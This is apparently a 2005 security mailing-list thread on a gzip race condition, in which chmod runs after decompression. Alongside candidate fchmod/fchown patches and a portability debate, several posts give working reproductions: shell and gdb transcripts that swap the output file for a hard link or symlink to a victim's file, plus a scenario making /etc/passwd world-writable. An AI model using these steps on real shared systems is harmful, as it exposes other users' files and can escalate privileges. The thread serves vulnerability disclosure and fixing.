Hi Imran!
Imran Ghory [2005-04-04 20:57 +0100]:
> Vulnerable software
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>=20
> gzip 1.2.4 and 1.3.3 and previous versions running on unix.
>=20
> Vulnerability
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>=20
> If a malicious local user has write access to a directory in which a
> target user is using gzip to extract or compress a file to then a
> TOCTOU bug can be exploited to change the permission of any file
> belonging to that user.
>=20
> On decompressing gzip copies the permissions from the compressed
> gzip file to the uncompressed file. However there is a gap between the
> uncompressed file being written (and it's file handler being close)
> and the permissions of the file being changed.
>=20
> During this gap a malicious user can remove the decompressed file and
> replace it with a hard-link to another file belonging to the user.
> gzip will then change the permissions on the hard-linked file to be
> the same as that of the gzip file.
I tried this with gzip 1.3.5 and cannot reproduce this; when
gunzip'ing a file, the output file is _always_ created with 0600
permissions first, and chmod'ed to the original permission after
decompression finished. This matches perfectly to the source code in
gzip.c: treat_file() first calls create_outfile(), which does:
/* Make sure that ofname is not an existing file */
if (check_ofname() !=3D OK) {
close(ifd);
return ERROR;
}
/* Create the output file */
remove_ofname =3D 1;
ofd =3D OPEN(ofname, flags, RW_USER);
if (ofd =3D=3D -1) {
progerror(ofname);
close(ifd);
return ERROR;
}
and looks very reasonable (RW_USER equals to 0600); then the
decompression takes place, and afterwards treat_file() calls
copy_stat() to chmod the output file.
This code is the same for version 1.3.2.
Of course the file can be removed by other users after gunzip has
finished, but that is not a gzip bug, but the result of the really
dumb idea to have a group/world-writeable directory without the sticky
bit.
Maybe I understood you wrong, could you please give a small test case
which describes the vulnerability exactly?
Thanks!
Martin
--=20
Martin Pitt http://www.piware.de
Ubuntu Developer http://www.ubuntulinux.org
Debian Developer http://www.debian.org
--cWoXeonUoKmBZSoM
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)
iD8DBQFCW7U0DecnbV4Fd/IRAtV0AKDAR+sT8A8iy9bm3vUPG5c6aaivqwCgw5An
7HzHk/tXbTnc9OlGiAn54go=
=dDpG
-----END PGP SIGNATURE-----
--cWoXeonUoKmBZSoM--
On Tue, Apr 12, 2005 at 01:47:01PM +0200, Martin Pitt wrote:
[SNIP]
> > Vulnerability
> > ==============
> >
> > If a malicious local user has write access to a directory in which a
> > target user is using gzip to extract or compress a file to then a
> > TOCTOU bug can be exploited to change the permission of any file
> > belonging to that user.
[SNIP]
> I tried this with gzip 1.3.5 and cannot reproduce this; when
> gunzip'ing a file, the output file is _always_ created with 0600
> permissions first, and chmod'ed to the original permission after
> decompression finished.
Let's pretend the target user's user name is targetuser, they have a
home directory with permissions drwxr-xr-x, and in their home
directory they have a file My_Financial_Accounts with permissions
-rw------- that the attacker wants to access. The attacker has write
access to the directory in which the user is unzipping files.
Basically, after this code is executed:
> /* Create the output file */
> remove_ofname = 1;
> ofd = OPEN(ofname, flags, RW_USER);
> if (ofd == -1) {
> progerror(ofname);
> close(ifd);
> return ERROR;
> }
The attacker runs the equivalent of the following shell commands:
unlink $file
link ~targetuser/My_Financial_Accounts $file
We use $file as the name of the file which gzip is going to write.
These commands must complete before the writing of the file is
finished, so the attacker would choose to do this while gzip was
unzipping a file that he knew to be large. He also knows that the
file will have permissions 0644 when done (maybe because he creeated
the gzip archive, or at least has previous knowledge of it). The
original file is deleted, and replaced with a hard link to
My_Financial_Accounts, the target file. It has owner targetuser, and
permissions 0600, same as My_Financial_Accounts.
After the file is finished being written, the program calls chmod to
change the permissions to 0644. Now attacker can read $file, which
happens to be a hard link to My_Financial_Accounts.
The attacker could potentially distract the target user long enough to
make a copy of the file and then switch it quickly to the real file
(by re-linking it to his own copy of the gzipped file, in order to
avoid having to write the whole file again) before the target user
notices. Of course, if the target user sees that the ownership of the
file is the attacker and not himself, that might raise a flag... But
that's a detail that may be easily overlooked, especially if the user
is fairly new to Unix and naive about Unix permissions. Other forms
of deception may be possible, and of course the attacker could just
rm the file to avoid being detected. The attacker could, for example,
do all of this while standing right infront of the target user, logged
into the system remotely via wireless palm device, the target user all
the while unaware of what he was doing.
The open() call is at fault here. If instead of being called with a
mode of RW_USER, it is called with the final intended access mode,
there is no need to later call chmod(), and the problem is averted.
I think it's important to note that the directory need not be
world writable to effect this attack. The attacker and target user
might be part of the same programming team, or what have you, and be
working in a directory that's group-writable by their Unix group...
Such directories arguably should still have the sticky bit set; but
it's easy to overlook that detail, AND the group may not WANT the bit
set because of how the directory is used and/or their work process.
--
Derek D. Martin
http://www.pizzashack.org/
GPG Key ID: 0x81CFE75D
--gBBFr7Ir9EOA20Yy
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iD8DBQFCXTGAHEnASN++rQIRAtoMAKCEp38qIxShWNKikhMY3pd88sR6GQCeJ5Ps
YUiZ2WJXlwZw7QOBEJKl0Fk=
=pwid
-----END PGP SIGNATURE-----
--gBBFr7Ir9EOA20Yy--
On 2005-04-12 13:47:01 +0200, Martin Pitt wrote:
> Imran Ghory [2005-04-04 20:57 +0100]:
> > Vulnerable software
> > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> >=20
> > gzip 1.2.4 and 1.3.3 and previous versions running on unix.
> >=20
> > Vulnerability
> > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> >=20
> > If a malicious local user has write access to a directory in which a
> > target user is using gzip to extract or compress a file to then a
> > TOCTOU bug can be exploited to change the permission of any file
> > belonging to that user.
> >=20
> > On decompressing gzip copies the permissions from the compressed
> > gzip file to the uncompressed file. However there is a gap between the
> > uncompressed file being written (and it's file handler being close)
> > and the permissions of the file being changed.
[...]
> Of course the file can be removed by other users after gunzip has
> finished, but that is not a gzip bug, but the result of the really
> dumb idea to have a group/world-writeable directory without the sticky
> bit.
This is not always "a really dumb" idea, but often quite necessary in a
collaborative environment. For example, several people may work together
on a project, and every person may need to create, edit and remove files
in the project directory.=20
Here is a simple scenario, which might work with gzip (I haven't
actually tried it):
Alice and Eve work together on project foo, so they both have write access
to directory /projects/foo. Mallory infrequently contributes to the
project, but doesn't have write access himself.
Now Eve and Mallory conspire to get read access for a file belonging to
a different project, /projects/bar/secret_plan_for_world_domination.
Eve writes a programs, which checks for the existence of
/projects/foo/data_from_mallory, and replaces it with a symlink to
/projects/bar/secret_plan_for_world_domination if it exists. After a
second or so, it switches the file and the symlink again.
Then Mallory puts a world-readable file data_from_mallory.gz into /tmp
and sends a mail to Alice "I've put the data I promised you into
/tmp/data_from_mallory.gz, please put it into the project directory".
With a bit of luck, Alice will copy the gzipped file into the project
directory and unzip it there (she can't unzip it in /tmp, because /tmp
has the sticky bit set). Then the following will happen:
Eve's job notices the presence of data_from_mallory while it it created,
renames it and replaces it with a symlink.
gzip will invoke chown on the symlink, thereby changing the permissions
on /projects/bar/secret_plan_for_world_domination to world-readable.
Eve's job removes the symlink and restores
/projects/foo/data_from_mallory. Alice thinks everything is ok.
Eve and Mallory read the secret_plan_for_world_domination and beat Alice
to it.
If gzip calls fchown before the file is closed, this doesn't work.
hp
--=20
_ | Peter J. Holzer \Beta means "we're down to fixing misspelled commen=
ts in
|_|_) | Sysadmin WSR \the source, and you might run into a memory leak =
if=20
| | | h...@wsr.ac.at \you enable embedded haskell as a loadable module=
and
__/ | http://www.hjp.at/ \write your plugins upside-down in lisp". --ae@o=
p5.se
--w7PDEPdKQumQfZlR
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
iQDQAwUBQl0z9FLjemazOuKpAQHgpgXSA27p+L8/Vh3hICAISxCb5VrV332YYf/8
Asjgb/PZ05rARMsr4TAwmmKyP6rd7Kz8q1jjiQe3UbOD4nazhRS3tNejG4J+JBNm
29bYz87fOHtjtxKBm672VI3NJ1Mp+eBxbjYp+lTCaFSKfyIXMSADWARcaJsAPd7o
Rnr51XN0LrqQAy0pPILoOuwRp+XS6N/w1lKWOlq0zw4Z73mqAmBwR2db+hEacua9
t0Vz5/RjsLBiRxgE7PTBKhLiKQ==
=8lJd
-----END PGP SIGNATURE-----
--w7PDEPdKQumQfZlR--
Martin Pitt wrote:
> Of course the file can be removed by other users after gunzip has
> finished, but that is not a gzip bug, but the result of the really
> dumb idea to have a group/world-writeable directory without the sticky
> bit.
It may be really dumb, but it's pretty common practice too.
Group-writable directories are often made setgid but I've never seen one
made sticky. There's probably a lot of documentation that presents this
as best practice if you trust your group members with access to files in
the directory, and likely none of it mentions this kind of security issue.
Just a few examples within the Debian project (since this is CCed to the
Debian bts):
joeyh@haydn:/var/lib/gforge/chroot/home/groups/d-i/htdocs>ls -ld .
drwxrwsr-x 4 dummy d-i 4096 Jan 18 12:51 ./
joeyh@gluck:/org/cdimage.debian.org/www>ls -ld .
drwxrwsr-x 4 manty debian-c 4096 Apr 7 09:11 ./
joeyh@merkel:/org/bugs.debian.org/spool>ls -ld .
drwxrwsr-x 4 debbugs debbugs 4096 Apr 13 09:19 ./
(gzip is not typically ran in any of these directories AFAIK, FWIW).
> Maybe I understood you wrong, could you please give a small test case
> which describes the vulnerability exactly?
I'm a wimp, so I will use gdb instead of writing some real exploit to
win the race.
joey@dragon:~/tmp/gzip-1.3.5>chmod 777 . =20
joey@dragon:~/tmp/gzip-1.3.5>echo secret > ~/secret
joey@dragon:~/tmp/gzip-1.3.5>chmod 400 ~/secret
joey@dragon:~/tmp/gzip-1.3.5>ls -l ~/secret=20
-r-------- 1 joey joey 7 Apr 13 11:32 /home/joey/secret
joey@dragon:~/tmp/gzip-1.3.5>gdb ./gzip
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
This GDB was configured as "i386-linux"...Using host libthread_db library "=
/lib/libthread_db.so.1".
(gdb) b copy_stat
Breakpoint 1 at 0x804ca19: file gzip.c, line 1725.
(gdb) run -9 COPYING
Starting program: /home/joey/tmp/gzip-1.3.5/gzip -9 COPYING
Breakpoint 1, copy_stat (ifstat=3D0x0) at gzip.c:1725
1725 if (decompress && time_stamp !=3D 0 && ifstat->st_mtime !=3D ti=
me_stamp) {
(gdb)=20
zsh: suspended gdb ./gzip
joey@dragon:~/tmp/gzip-1.3.5>ls -l COPYING.gz
-rw------- 1 joey joey 6853 Apr 13 11:28 COPYING.gz
joey@dragon:~/tmp/gzip-1.3.5>sudo su nobody
Password:
sh-3.00$ ln -s ~joey/secret COPYING.gz
sh-3.00$ cat COPYING.gz
cat: COPYING.gz: Permission denied
dragon%=20
zsh: exit 1 sudo su nobody
joey@dragon:~/tmp/gzip-1.3.5>fg
[2] - continued gdb ./gzip
c
Continuing.
Program exited normally.
(gdb) quit
joey@dragon:~/tmp/gzip-1.3.5>ls -l ~/secret
-r--r--r-- 1 joey joey 7 Jan 12 1999 /home/joey/secret
--=20
see shy jo
--yrj/dFKFPuw6o+aM
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)
iD8DBQFCXT2Bd8HHehbQuO8RAnaqAJ9zBpv1HQn8v9g2v6zyOJYhKons4gCffB+F
iQXWcD5cixOBr3chdksr9ho=
=YYQy
-----END PGP SIGNATURE-----
--yrj/dFKFPuw6o+aM--
>> ... really dumb idea to have a group/world-writeable directory
>> without the sticky bit.
>
> It may be really dumb, but it's pretty common practice too. ...
> Just a few examples within the Debian project ...
Kindly add the Debian example:
psz@pisa:/usr/local$ ls -ld .
drwxrwsr-x 10 root staff 4096 Nov 13 2002 .
For Debian this is "mandated by policy":
> The Debian Policy Manual [1] says:
>
> ... /usr/local take precedence over the equivalents in /usr.
> ... should have permissions 2775 and be owned by root.staff.
>
> but it [2] also says:
>
> ... make sure that [it] is secure ...
> Files should be owned by root.root ... mode 644 or 755.
> Directories should be mode 755 or 2775 ... owned by the group that needs
> write access to it.
>
> ...
> References:
>
> [1] http://www.debian.org/doc/debian-policy/ch-opersys.html#s9.1.2
> [2] http://www.debian.org/doc/debian-policy/ch-files.html#s10.9
(please see http://bugs.debian.org/299007 for more details).
> (gzip is not typically ran in any of these directories AFAIK, FWIW).
Typically? Suppose I (as simple user psz) do
cd $HOME; touch xyz; chmod 666 xyz; gzip xyz
and tell my system manager that I have problems with that gzipped file.
While root is running "gunzip ~psz/xyz" I do
rm xyz; ln /etc/passwd xyz
then we end up with /etc/passwd world-writable. (Bzip uses chown also, so
using bzip2/bunzip would get /etc/passwd owned by psz; am not sure about
gzip or cpio.)
Cheers,
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of Sydney Australia
On Thu, Apr 14, 2005 at 09:27:11AM -0600, Mark Senior wrote:
> > From: Derek Martin [mailto:co...@pizzashack.org]
> > Sent: April 13, 2005 08:50
If you can, I might suggest configuring your e-mail client not to
attribute e-mail addresses in replies (at least to mailing lists)...
It doesn't solve the problem by any means, but it reduces the
availability of e-mail addresses in web archives which can be
harvested. Mailing lists can easily be configured to obscure
addresses in their web archives, but often this doesn't extend to
addresses posted in the body of the e-mail itself... :)
> > The open() call is at fault here. If instead of being called
> > with a mode of RW_USER, it is called with the final intended
> > access mode, there is no need to later call chmod(), and the
> > problem is averted.
>
> One wrinkle - if the file is not intended to have user write permission
> on it, and gzip (unzip/cpio/pax...) initially created it with the
> intended permissions, there would be no way to then write the file.
Excellent point, which I overlooked. So the patch which I posted
(whether it shows up on bugtraq is an entirely different question...)
is worthless. Sigh. ;-) I momentarily confused root's ability to
write to any file regardless of access permissions with a fictitious
user ability to write to their own files, regarless of write access.
Too bad... that ability would make for a nice solution to the problem!
[sheepish grin]
> The problem, to my understanding, is that the program opens the file by
> name, then closes it, and then chmod's it, again referring to it by
> name. During which time, as you pointed out, we could be dealing with a
> different inode.
Yeah, that's the problem.
> If the program kept the file open, and used fchmod to change its
> permissions, referring to it by file descriptor, you could be more sure
> that it was the same inode it had just been writing to.
That would do the trick. The question becomes one of how portable
fchmod() is... My programming experience is unfortunately limited to
platforms which are pretty POSIX compliant, so I can't even guess...
--
Derek D. Martin
http://www.pizzashack.org/
GPG Key ID: 0x81CFE75D
--tThc/1wpZn/ma/RB
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iD8DBQFCXpYZdjdlQoHP510RAr9VAJ97dD/HO/y3b/vVnKSh9BepxRL2eQCglJQ6
x5zTM/DEDOAsPyhloTNGOCs=
=o7v5
-----END PGP SIGNATURE-----
--tThc/1wpZn/ma/RB--
> From: Derek Martin [mailto:co...@pizzashack.org]=20
> Sent: April 13, 2005 08:50
>=20
>=20
> The open() call is at fault here. If instead of being called=20
> with a mode of RW_USER, it is called with the final intended=20
> access mode, there is no need to later call chmod(), and the=20
> problem is averted.
One wrinkle - if the file is not intended to have user write permission
on it, and gzip (unzip/cpio/pax...) initially created it with the
intended permissions, there would be no way to then write the file.
The problem, to my understanding, is that the program opens the file by
name, then closes it, and then chmod's it, again referring to it by
name. During which time, as you pointed out, we could be dealing with a
different inode.
If the program kept the file open, and used fchmod to change its
permissions, referring to it by file descriptor, you could be more sure
that it was the same inode it had just been writing to.
Cheers
Mark
--- end of meaningful content, legal bumph follows ---
This email and any files transmitted with it are confidential and intende=
d solely for the use of the individual or entity to whom they are address=
ed. If you have received this email in error please notify the system man=
ager. This message contains confidential information and is intended only=
for the individual named. If you are not the named addressee you should =
not disseminate, distribute or copy this e-mail.
This email and any files transmitted with it are confidential and intende=
d solely for the use of the individual or entity to whom they are address=
ed. If you have received this email in error please notify the system man=
ager. This message contains confidential information and is intended only=
for the individual named. If you are not the named addressee you should =
not disseminate, distribute or copy this e-mail.
Since no one has posted a fix...here's a stab at it.
-Steve Grubb
================
diff -ur gzip-1.3.5.orig/gzip.c gzip-1.3.5/gzip.c
--- gzip-1.3.5.orig/gzip.c 2005-04-14 09:25:04.941018504 -0400
+++ gzip-1.3.5/gzip.c 2005-04-14 09:33:36.966178848 -0400
@@ -881,8 +881,11 @@
}
close(ifd);
- if (!to_stdout && close(ofd)) {
- write_error();
+ if (!to_stdout) {
+ /* Copy modes, times, ownership, and remove the input file */
+ copy_stat(&istat);
+ if (close(ofd))
+ write_error();
}
if (method == -1) {
if (!to_stdout) xunlink (ofname);
@@ -902,10 +905,6 @@
}
fprintf(stderr, "\n");
}
- /* Copy modes, times, ownership, and remove the input file */
- if (!to_stdout) {
- copy_stat(&istat);
- }
}
/* ========================================================================
@@ -1731,7 +1730,7 @@
reset_times(ofname, ifstat);
#endif
/* Copy the protection modes */
- if (chmod(ofname, ifstat->st_mode & 07777)) {
+ if (fchmod(ofd, ifstat->st_mode & 07777)) {
int e = errno;
WARN((stderr, "%s: ", progname));
if (!quiet) {
@@ -1740,7 +1739,7 @@
}
}
#ifndef NO_CHOWN
- chown(ofname, ifstat->st_uid, ifstat->st_gid); /* Copy ownership */
+ (void) fchown(ofd, ifstat->st_uid, ifstat->st_gid); /* Copy ownership */
#endif
remove_ofname = 0;
/* It's now safe to remove the input file: */
--gr/z0/N6AeWAPJVB
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
> Imran Ghory [2005-04-04 20:57 +0100]:
> > Vulnerable software
> > ====================
> >
> > gzip 1.2.4 and 1.3.3 and previous versions running on unix.
> >
> > Vulnerability
> > ==============
> >
> > If a malicious local user has write access to a directory in which a
> > target user is using gzip to extract or compress a file to then a
> > TOCTOU bug can be exploited to change the permission of any file
> > belonging to that user.
> >
> > On decompressing gzip copies the permissions from the compressed
> > gzip file to the uncompressed file. However there is a gap between the
> > uncompressed file being written (and it's file handler being close)
> > and the permissions of the file being changed.
> >
> > During this gap a malicious user can remove the decompressed file and
> > replace it with a hard-link to another file belonging to the user.
> > gzip will then change the permissions on the hard-linked file to be
> > the same as that of the gzip file.
Perusing the code seems to reveal that gzip is written this way for no
good reason... It may have been to support operating systems which
don't allow the third argument of open(), but looking at the code, the
only supported OS which doesn't support the modes argument seems to be
MacOS (presumably not MacOS X). However MacOS also seems not to
support chmod(), so there seems to be little point in separating the
two operations... The code already defines the OPEN macro which
either uses or ignores the third (modes) argument to open() as
needed.
Therefore the attached patch should apply to gzip 1.2.4 (and quite
probably to 1.3.x as well) and fix the problem.
N.B.: I didn't actually test the patch, but it looks right to me.
Yeah, I'm that lazy... =8^)
--
Derek D. Martin
http://www.pizzashack.org/
GPG Key ID: 0x81CFE75D
--gr/z0/N6AeWAPJVB
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: attachment; filename="gzip-atomic-modes.patch"
diff -ru gzip-1.2.4/gzip.c gzip-1.2.4.ddm/gzip.c
--- gzip-1.2.4/gzip.c 1993-08-19 09:39:43.000000000 -0400
+++ gzip-1.2.4.ddm/gzip.c 2005-04-13 18:13:22.404915816 -0400
@@ -279,7 +279,7 @@
local void version OF((void));
local void treat_stdin OF((void));
local void treat_file OF((char *iname));
-local int create_outfile OF((void));
+local int create_outfile OF((struct stat *istat));
local int do_stat OF((char *name, struct stat *sbuf));
local char *get_suffix OF((char *name));
local int get_istat OF((char *iname, struct stat *sbuf));
@@ -793,7 +793,7 @@
ofd = fileno(stdout);
/* keep remove_ofname as zero */
} else {
- if (create_outfile() != OK) return;
+ if (create_outfile(&istat) != OK) return;
if (!decompress && save_orig_name && !verbose && !quiet) {
fprintf(stderr, "%s: %s compressed to %s\n",
@@ -860,7 +860,8 @@
* ofname has already been updated if there was an original name.
* OUT assertions: ifd and ofd are closed in case of error.
*/
-local int create_outfile()
+local int create_outfile(istat)
+ struct stat *istat;
{
struct stat ostat; /* stat for ofname */
int flags = O_WRONLY | O_CREAT | O_EXCL | O_BINARY;
@@ -876,7 +877,7 @@
}
/* Create the output file */
remove_ofname = 1;
- ofd = OPEN(ofname, flags, RW_USER);
+ ofd = OPEN(ofname, flags, istat->st_mode & 07777);
if (ofd == -1) {
perror(ofname);
close(ifd);
@@ -1608,7 +1609,8 @@
/* ========================================================================
- * Copy modes, times, ownership from input file to output file.
+ * Copy times and ownership from input file to output file. Modes are set
+ * when the output file is created.
* IN assertion: to_stdout is false.
*/
local void copy_stat(ifstat)
@@ -1623,11 +1625,6 @@
}
reset_times(ofname, ifstat);
#endif
- /* Copy the protection modes */
- if (chmod(ofname, ifstat->st_mode & 07777)) {
- WARN((stderr, "%s: ", progname));
- if (!quiet) perror(ofname);
- }
#ifndef NO_CHOWN
chown(ofname, ifstat->st_uid, ifstat->st_gid); /* Copy ownership */
#endif
--gr/z0/N6AeWAPJVB--
--fOHHtNG4YXGJ0yqR
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iD8DBQFCXcP0HEnASN++rQIRAs5bAJ0YyaevkNq3jOTGBECkncHsl2tk/wCdESGP
BBuVEDtvsPw5P8QJvyz0n+k=
=mMDP
-----END PGP SIGNATURE-----
--fOHHtNG4YXGJ0yqR--
It is quite easy to win the race when the file that's being decompressed
is big:
---
# adduser user-good
# adduser user-evil
# usermod -G src user-good
# usermod -G src user-evil
# mkdir /var/www/proj
# chown root.src /var/www/proj
# chmod 2775 /var/www/proj
user-good@zimage:/var/www/proj$ echo "Rather secret data" > secf.txt
user-good@zimage:/var/www/proj$ chmod 400 secf.txt
user-good@zimage:/var/www/proj$ ls -al secf.txt
-r-------- 1 user-good src 19 Apr 14 09:16 secf.txt
user-evil@zimage:/var/www/proj$ dd if=/dev/zero of=bigf.bin bs=1M count=256
user-evil@zimage:/var/www/proj$ gzip bigf.bin
user-evil@zimage:/var/www/proj$ chmod 666 bigf.bin.gz
user-evil@zimage:/var/www/proj$ ls -la secf.txt bigf.bin.gz
-rw-rw-rw- 1 user-evil src 260543 Apr 14 09:17 bigf.bin.gz
-r-------- 1 user-good src 19 Apr 14 09:16 secf.txt
user-evil@zimage:/var/www/proj$ cat secf.txt
cat: secf.txt: Permission denied
user-good@zimage:/var/www/proj$ gzip -d bigf.bin.gz
user-evil@zimage:/var/www/proj$ rm -f bigf.bin ; ln secf.txt bigf.bin
user-evil@zimage:/var/www/proj$ ls -la secf.txt bigf.bin
-rw-rw-rw- 2 user-good src 19 Apr 14 09:17 bigf.bin
-rw-rw-rw- 2 user-good src 19 Apr 14 09:17 secf.txt
user-evil@zimage:/var/www/proj$ cat secf.txt
Rather secret data
---
The time between beginning of decompression and unlink+delete was about
2 sec. and decompression has finished about 7-8 seconds later.
The same was tested and applyes to bzip2.
Best regards,
Theodor
--
Theodor Milkov
http://www.zimage.del.bg/
CCNA, CCNP, MCP
>> The open() call is at fault here. If instead of being called with a
>> mode of RW_USER, it is called with the final intended access mode,
>> there is no need to later call chmod(), and the problem is averted.
> One wrinkle - if the file is not intended to have user write
> permission on it, and gzip (unzip/cpio/pax...) initially created it
> with the intended permissions, there would be no way to then write
> the file.
This is not how most Unix variants work: provided you have an
open-for-write descriptor on a file, you can write to it as long as the
descriptor survives even if the file's permissions deny you write
access.
In particular, creating a file for write with a mode forbidding writing
is not at all impossible.
Now, if you're not on a Unix variant, or for all I know even some of
the more variant Unix variants, this may not be true. But it certainly
is common for this to work fine. Indeed, it's arguably better because
it helps prevent others from writing to the file by mistake even during
a brief time between open()ing and fchmod()ing.
/~\ The ASCII der Mouse
\ / Ribbon Campaign
X Against HTML mo...@rodents.montreal.qc.ca
/ \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B
On 2005-04-14 09:27:11 -0600, Mark Senior wrote:
> > From: Derek Martin [mailto:co...@pizzashack.org]=20
> > Sent: April 13, 2005 08:50
> > The open() call is at fault here. If instead of being called=20
> > with a mode of RW_USER, it is called with the final intended=20
> > access mode, there is no need to later call chmod(), and the=20
> > problem is averted.
>=20
> One wrinkle - if the file is not intended to have user write permission
> on it, and gzip (unzip/cpio/pax...) initially created it with the
> intended permissions, there would be no way to then write the file.
I don't know about Windows, but on POSIX systems you can create a file
without write permissions and still write to it.=20
A small example from the shell:
bernon:~/tmp 12:58 121% umask 0777
bernon:~/tmp 12:58 122% echo foo > bar
bernon:~/tmp 12:58 123% ll bar
---------- 1 hjp sysadm 4 Apr 15 12:58 bar
As you can see, the file has no permissions, but still length 4.
This trick is sometimes used for lock files.
hp
--=20
_ | Peter J. Holzer \Beta means "we're down to fixing misspelled commen=
ts in
|_|_) | Sysadmin WSR \the source, and you might run into a memory leak =
if=20
| | | h...@wsr.ac.at \you enable embedded haskell as a loadable module=
and
__/ | http://www.hjp.at/ \write your plugins upside-down in lisp". --ae@o=
p5.se
--PLOb/g6AMdJ1vPHZ
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
iQDQAwUBQl+mJFLjemazOuKpAQGPGQXSA2dezgrYpDniTtpZhTz3+iO3Ke+WxZL2
pvxD0LOaPlZVLYpsNl9knawGKILoJRHhyXm43jp+bcpqZeE8hRaMaDyzYy/J/pgo
OifajA+A10Hx2PPrCNcUB+Z/+Pen9QFjxB15iFSCWsAm0MYLzYJtnx1LenYjPvEl
IJq7Itf5j4dVto24Ph4/kc35GOa7ppidtOqEdOb0nsEpwSvkK2mPBgJZiBFRZipF
CQUtfZBflcd7kt+Plku1zjQhlA==
=Ur/V
-----END PGP SIGNATURE-----
--PLOb/g6AMdJ1vPHZ--
>
>
>> From: Derek Martin [mailto:co...@pizzashack.org]
>> Sent: April 13, 2005 08:50
>>
>>
>> The open() call is at fault here. If instead of being called
>> with a mode of RW_USER, it is called with the final intended
>> access mode, there is no need to later call chmod(), and the
>> problem is averted.
>
> One wrinkle - if the file is not intended to have user write permission
> on it, and gzip (unzip/cpio/pax...) initially created it with the
> intended permissions, there would be no way to then write the file.
In a quick test, this seems not to be true, at least on my Linux
system. It may be true over NFS.
[gifford@gifford tmp]$ ls -ld testfile
ls: testfile: No such file or directory
[gifford@gifford tmp]$ cat t.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
void die(char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int fd;
if ((fd = open("testfile",O_CREAT|O_WRONLY,0)) < 0)
die("open failed");
if (write(fd,"output\n",7) < 0)
die("write failed");
if (close(fd) < 0)
die("close failed");
return 0;
}
[gifford@gifford tmp]$ gcc -Wall t.c
[gifford@gifford tmp]$ ./a.out
[gifford@gifford tmp]$ ls -ld testfile
---------- 1 gifford gifford 7 Apr 15 01:28 testfile
[gifford@gifford tmp]$ chmod +r testfile
[gifford@gifford tmp]$ cat testfile
output
[gifford@gifford tmp]$
----ScottG.
> >> The open() call is at fault here. If instead of being called with a
> >> mode of RW_USER, it is called with the final intended access mode,
> >> there is no need to later call chmod(), and the problem is averted.
Doing open(,,RW_USER) is not a solution: the resulting file's mode
will be (mode & ~umask), but NOT just `mode'.
So, either fchmod(,RW_USER) just after open()/creat() is required
(which seems to be the best practice), or some umask trickery will be
necessary.
> > One wrinkle - if the file is not intended to have user write
> > permission on it, and gzip (unzip/cpio/pax...) initially created it
> > with the intended permissions, there would be no way to then write
> > the file.
>
> This is not how most Unix variants work: provided you have an
> open-for-write descriptor on a file, you can write to it as long as the
> descriptor survives even if the file's permissions deny you write
> access.
>
> In particular, creating a file for write with a mode forbidding writing
> is not at all impossible.
>
> Now, if you're not on a Unix variant, or for all I know even some of
> the more variant Unix variants, this may not be true. But it certainly
> is common for this to work fine. Indeed, it's arguably better because
> it helps prevent others from writing to the file by mistake even during
> a brief time between open()ing and fchmod()ing.
Yes, writing to a just-created file with permissions 000 WILL work
under most Unices. But think about NFS -- since NFS doesn't have
"sessions"/"states"/"open descriptors", the checks will (or at least can,
at least in some versions of NFS) be performed upon each write. Thus,
write() may fail.
_________________________________________
Dmitry Yu. Bolkhovityanov
The Budker Institute of Nuclear Physics
Novosibirsk, Russia